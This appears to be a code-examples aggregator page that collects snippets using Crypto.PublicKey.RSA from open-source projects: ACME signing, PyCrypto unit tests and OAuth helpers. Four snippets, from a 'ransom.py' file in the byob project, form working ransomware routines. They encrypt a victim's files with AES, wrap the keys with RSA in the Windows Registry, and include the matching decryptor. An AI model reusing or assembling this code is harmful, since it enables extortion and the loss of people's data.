Python Crypto.PublicKey.RSA Examples
The following are 27
code examples of Crypto.PublicKey.RSA().
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example.
You may also want to check out all available functions/classes of the module
Crypto.PublicKey
, or try the search function
.
Example #1
Source File: Acme.py From acme-nginx with GNU General Public License v3.0 | 6 votes |
def _jws(self): """ Return JWS dict from string account key """ with open(self.account_key, 'r') as fd: key = fd.read() pk = OpenSSL.crypto.load_privatekey(OpenSSL.crypto.FILETYPE_PEM, key) pk_asn1 = OpenSSL.crypto.dump_privatekey(OpenSSL.crypto.FILETYPE_ASN1, pk) k = Crypto.PublicKey.RSA.importKey(pk_asn1) # private key public exponent in hex format exponent = "{0:x}".format(k.e) exponent = "0{0}".format(exponent) if len(exponent) % 2 else exponent # private key modulus in hex format modulus = "{0:x}".format(k.n) header = { "alg": "RS256", "jwk": { "e": self._b64(binascii.unhexlify(exponent.encode('utf8'))), "kty": "RSA", "n": self._b64(binascii.unhexlify(modulus.encode('utf8')))}} return header
Example #2
Source File: test_rsa.py From sneaky-creeper with MIT License | 6 votes |
def setUp(self): self.randText = ''.join([random.choice(string.letters) for i in range(10)]) pubPath = os.path.join(basePath, 'config', 'test_key.pub') privPath = os.path.join(basePath, 'config', 'test_key') if not os.path.isfile(pubPath) or not os.path.isfile(privPath): raise SkipTest('could not access RSA keypair in config folder') self.rsa = Rsa() # set some parameters for e in self.rsa.params['sending']: if e.name == 'publicKey': e.value = pubPath for e in self.rsa.params['receiving']: if e.name == 'privateKey': e.value = privPath
Example #3
Source File: test_conch.py From BitTorrent with GNU General Public License v3.0 | 6 votes |
def execute(self, args, p, preargs = ''): cmdline = ('ssh -2 -l testuser -p %i ' '-oUserKnownHostsFile=kh_test ' '-oPasswordAuthentication=no ' # Always use the RSA key, since that's the one in kh_test. '-oHostKeyAlgorithms=ssh-rsa ' '-a ' '-i dsa_test ') + preargs + \ ' 127.0.0.1 ' + args port = self.server.getHost().port ssh_path = None for path in ['/usr', '', '/usr/local']: if os.path.exists(path+'/bin/ssh'): ssh_path = path+'/bin/ssh' break if not ssh_path: log.msg('skipping test, cannot find ssh') raise unittest.SkipTest, 'skipping test, cannot find ssh' cmds = (cmdline % port).split() reactor.spawnProcess(p, ssh_path, cmds) return p.deferred
Example #4
Source File: ransom.py From byob with GNU General Public License v3.0 | 6 votes |
def decrypt_files(rsa_key): """ Decrypt all encrypted files on host machine `Required` :param str rsa_key: RSA private key in PEM format """ try: if not isinstance(rsa_key, Crypto.PublicKey.RSA.RsaKey): rsa_key = Crypto.PublicKey.RSA.importKey(rsa_key) if not rsa_key.has_private(): return "Error: RSA key cannot decrypt" globals()['threads']['iter_files'] = _iter_files(rsa_key) globals()['threads']['decrypt_files'] = _threader() return "Decrypting files" except Exception as e: util.log("{} error: {}".format(decrypt_files.__name__, str(e)))
Example #5
Source File: ransom.py From byob with GNU General Public License v3.0 | 6 votes |
def encrypt_files(args): """ Encrypt all files that are not required for the machine to function `Required` :param str args: filename and RSA key separated by a space """ try: target, _, rsa_key = args.partition(' ') if os.path.exists(target): if not isinstance(rsa_key, Crypto.PublicKey.RSA.RsaKey): rsa_key = Crypto.PublicKey.RSA.importKey(rsa_key) if not rsa_key.can_encrypt(): return "Error: RSA key cannot encrypt" if os.path.isfile(target): return encrypt_file(target, rsa_key) if os.path.isdir(target): globals()['threads']['iter_files'] = _iter_files(rsa_key, base_dir=target) globals()['threads']['encrypt_files'] = _threader() return "Encrypting files" else: return "File '{}' does not exist".format(target) except Exception as e: util.log("{} error: {}".format(encrypt_files.__name__, str(e)))
Example #6
Source File: ransom.py From byob with GNU General Public License v3.0 | 6 votes |
def _iter_files(rsa_key, base_dir=None): try: if isinstance(rsa_key, Crypto.PublicKey.RSA.RsaKey): if base_dir: if os.path.isdir(base_dir): return os.path.walk(base_dir, lambda _, dirname, files: [globals()['tasks'].put_nowait((encrypt_file, (os.path.join(dirname, filename), rsa_key))) for filename in files], None) else: util.log("Target directory '{}' not found".format(base_dir)) else: cipher = Crypto.Cipher.PKCS1_OAEP.new(rsa_key) reg_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, globals()['registry_key'], 0, _winreg.KEY_READ) i = 0 while True: try: filename, key, _ = _winreg.EnumValue(reg_key, i) key = cipher.decrypt(base64.b64decode(key)) globals()['tasks'].put_nowait((decrypt_file, (filename, key))) i += 1 except: _winreg.CloseKey(reg_key) break except Exception as e: util.log('{} error: {}'.format(_iter_files.__name__, str(e)))
Example #7
Source File: oauth.py From pledgeservice with Apache License 2.0 | 5 votes |
def __init__(self): try: from Crypto.PublicKey import RSA as r from Crypto.Hash import SHA as s from Crypto.Signature import PKCS1_v1_5 as p self.RSA, self.SHA, self.PKCS1_v1_5 = r, s, p except ImportError: # pragma: no cover raise NotImplementedError("PyCrypto is required for " + self.NAME)
Example #8
Source File: test_RSA.py From android_universal with MIT License | 5 votes |
def test_serialization(self): """RSA keys are unpickable""" rsa_key = self.rsa.generate(1024) self.assertRaises(PicklingError, pickle.dumps, rsa_key)
Example #9
Source File: test_RSA.py From android_universal with MIT License | 5 votes |
def test_construct_6tuple(self): """RSA (default implementation) constructed key (6-tuple)""" rsaObj = self.rsa.construct((self.n, self.e, self.d, self.p, self.q, self.u)) self._check_private_key(rsaObj) self._check_encryption(rsaObj) self._check_decryption(rsaObj)
Example #10
Source File: test_RSA.py From android_universal with MIT License | 5 votes |
def test_construct_5tuple(self): """RSA (default implementation) constructed key (5-tuple)""" rsaObj = self.rsa.construct((self.n, self.e, self.d, self.p, self.q)) self._check_private_key(rsaObj) self._check_encryption(rsaObj) self._check_decryption(rsaObj)
Example #11
Source File: test_RSA.py From android_universal with MIT License | 5 votes |
def test_construct_3tuple(self): """RSA (default implementation) constructed key (3-tuple)""" rsaObj = self.rsa.construct((self.n, self.e, self.d)) self._check_encryption(rsaObj) self._check_decryption(rsaObj)
Example #12
Source File: test_RSA.py From android_universal with MIT License | 5 votes |
def test_construct_2tuple(self): """RSA (default implementation) constructed key (2-tuple)""" pub = self.rsa.construct((self.n, self.e)) self._check_public_key(pub) self._check_encryption(pub)
Example #13
Source File: test_RSA.py From android_universal with MIT License | 5 votes |
def test_generate_2arg(self): """RSA (default implementation) generated key (2 arguments)""" rsaObj = self.rsa.generate(1024, Random.new().read) self._check_private_key(rsaObj) self._exercise_primitive(rsaObj) pub = rsaObj.publickey() self._check_public_key(pub) self._exercise_public_primitive(rsaObj)
Example #14
Source File: test_RSA.py From android_universal with MIT License | 5 votes |
def test_generate_1arg(self): """RSA (default implementation) generated key (1 argument)""" rsaObj = self.rsa.generate(1024) self._check_private_key(rsaObj) self._exercise_primitive(rsaObj) pub = rsaObj.publickey() self._check_public_key(pub) self._exercise_public_primitive(rsaObj)
Example #15
Source File: test_RSA.py From android_universal with MIT License | 5 votes |
def setUp(self): global RSA, Random, bytes_to_long from Crypto.PublicKey import RSA from Crypto import Random from Crypto.Util.number import bytes_to_long, inverse self.n = bytes_to_long(a2b_hex(self.modulus)) self.p = bytes_to_long(a2b_hex(self.prime_factor)) # Compute q, d, and u from n, e, and p self.q = self.n // self.p self.d = inverse(self.e, (self.p-1)*(self.q-1)) self.u = inverse(self.p, self.q) # u = e**-1 (mod q) self.rsa = RSA
Example #16
Source File: mixins.py From federation with BSD 3-Clause "New" or "Revised" License | 5 votes |
def sign(self, private_key: RSA) -> None: self.signature = create_relayable_signature(private_key, self.to_xml())
Example #17
Source File: test_RSA.py From android_universal with MIT License | 5 votes |
def test_raw_rsa_boundary(self): # The argument of every RSA raw operation (encrypt/decrypt) must be positive # and no larger than the modulus rsa_obj = self.rsa.generate(1024) self.assertRaises(ValueError, rsa_obj._decrypt, rsa_obj.n) self.assertRaises(ValueError, rsa_obj._encrypt, rsa_obj.n) self.assertRaises(ValueError, rsa_obj._decrypt, 0) self.assertRaises(ValueError, rsa_obj._encrypt, 0)
Example #18
Source File: test_RSA.py From FODI with GNU General Public License v3.0 | 5 votes |
def test_raw_rsa_boundary(self): # The argument of every RSA raw operation (encrypt/decrypt) must be # non-negative and no larger than the modulus rsa_obj = self.rsa.generate(1024) self.assertRaises(ValueError, rsa_obj._decrypt, rsa_obj.n) self.assertRaises(ValueError, rsa_obj._encrypt, rsa_obj.n) self.assertRaises(ValueError, rsa_obj._decrypt, -1) self.assertRaises(ValueError, rsa_obj._encrypt, -1)
Example #19
Source File: test_RSA.py From FODI with GNU General Public License v3.0 | 5 votes |
def test_serialization(self): """RSA keys are unpickable""" rsa_key = self.rsa.generate(1024) self.assertRaises(PicklingError, pickle.dumps, rsa_key)
Example #20
Source File: test_RSA.py From FODI with GNU General Public License v3.0 | 5 votes |
def test_construct_6tuple(self): """RSA (default implementation) constructed key (6-tuple)""" rsaObj = self.rsa.construct((self.n, self.e, self.d, self.p, self.q, self.u)) self._check_private_key(rsaObj) self._check_encryption(rsaObj) self._check_decryption(rsaObj)
Example #21
Source File: test_RSA.py From FODI with GNU General Public License v3.0 | 5 votes |
def test_construct_5tuple(self): """RSA (default implementation) constructed key (5-tuple)""" rsaObj = self.rsa.construct((self.n, self.e, self.d, self.p, self.q)) self._check_private_key(rsaObj) self._check_encryption(rsaObj) self._check_decryption(rsaObj)
Example #22
Source File: test_RSA.py From FODI with GNU General Public License v3.0 | 5 votes |
def test_construct_3tuple(self): """RSA (default implementation) constructed key (3-tuple)""" rsaObj = self.rsa.construct((self.n, self.e, self.d)) self._check_encryption(rsaObj) self._check_decryption(rsaObj)
Example #23
Source File: test_RSA.py From FODI with GNU General Public License v3.0 | 5 votes |
def test_construct_2tuple(self): """RSA (default implementation) constructed key (2-tuple)""" pub = self.rsa.construct((self.n, self.e)) self._check_public_key(pub) self._check_encryption(pub)
Example #24
Source File: test_RSA.py From FODI with GNU General Public License v3.0 | 5 votes |
def test_generate_2arg(self): """RSA (default implementation) generated key (2 arguments)""" rsaObj = self.rsa.generate(1024, Random.new().read) self._check_private_key(rsaObj) self._exercise_primitive(rsaObj) pub = rsaObj.publickey() self._check_public_key(pub) self._exercise_public_primitive(rsaObj)
Example #25
Source File: test_RSA.py From FODI with GNU General Public License v3.0 | 5 votes |
def test_generate_1arg(self): """RSA (default implementation) generated key (1 argument)""" rsaObj = self.rsa.generate(1024) self._check_private_key(rsaObj) self._exercise_primitive(rsaObj) pub = rsaObj.publickey() self._check_public_key(pub) self._exercise_public_primitive(rsaObj)
Example #26
Source File: test_RSA.py From FODI with GNU General Public License v3.0 | 5 votes |
def setUp(self): global RSA, Random, bytes_to_long from Crypto.PublicKey import RSA from Crypto import Random from Crypto.Util.number import bytes_to_long, inverse self.n = bytes_to_long(a2b_hex(self.modulus)) self.p = bytes_to_long(a2b_hex(self.prime_factor)) # Compute q, d, and u from n, e, and p self.q = self.n // self.p self.d = inverse(self.e, (self.p-1)*(self.q-1)) self.u = inverse(self.p, self.q) # u = e**-1 (mod q) self.rsa = RSA
Example #27
Source File: ransom.py From byob with GNU General Public License v3.0 | 5 votes |
def encrypt_file(filename, rsa_key): """ Encrypt a file with AES-256-OCB symmetric encryption using a randomly generated key, encrypt the key with RSA-2048 asymmetric encryption, then store the filename and RSA-encrypted AES-key as a key in the Windows Registry `Requires` :param str filename: target filename :param RsaKey rsa_key: 2048-bit public RSA key Returns True if succesful, otherwise False """ try: if os.path.isfile(filename): if os.path.splitext(filename)[1] in globals()['filetypes']: if isinstance(rsa_key, Crypto.PublicKey.RSA.RsaKey): cipher = Crypto.Cipher.PKCS1_OAEP.new(rsa_key) aes_key = os.urandom(32) with open(filename, 'rb') as fp: data = fp.read() ciphertext = encrypt_aes(data, aes_key) with open(filename, 'wb') as fd: fd.write(ciphertext) key = base64.b64encode(cipher.encrypt(aes_key)) util.registry_key(globals()['registry_key'], filename, key) util.log('{} encrypted'.format(filename)) return True else: util.log("File '{}' not found".format(filename)) except Exception as e: util.log("{} error: {}".format(encrypt_file.__name__, str(e))) return False